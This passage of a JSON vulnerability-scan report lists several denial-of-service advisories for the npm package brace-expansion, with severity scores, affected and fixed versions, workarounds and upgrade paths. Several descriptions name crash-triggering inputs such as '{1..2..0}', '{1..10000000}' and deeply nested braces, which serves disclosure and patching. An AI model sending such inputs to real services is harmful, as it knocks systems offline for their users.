"moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", 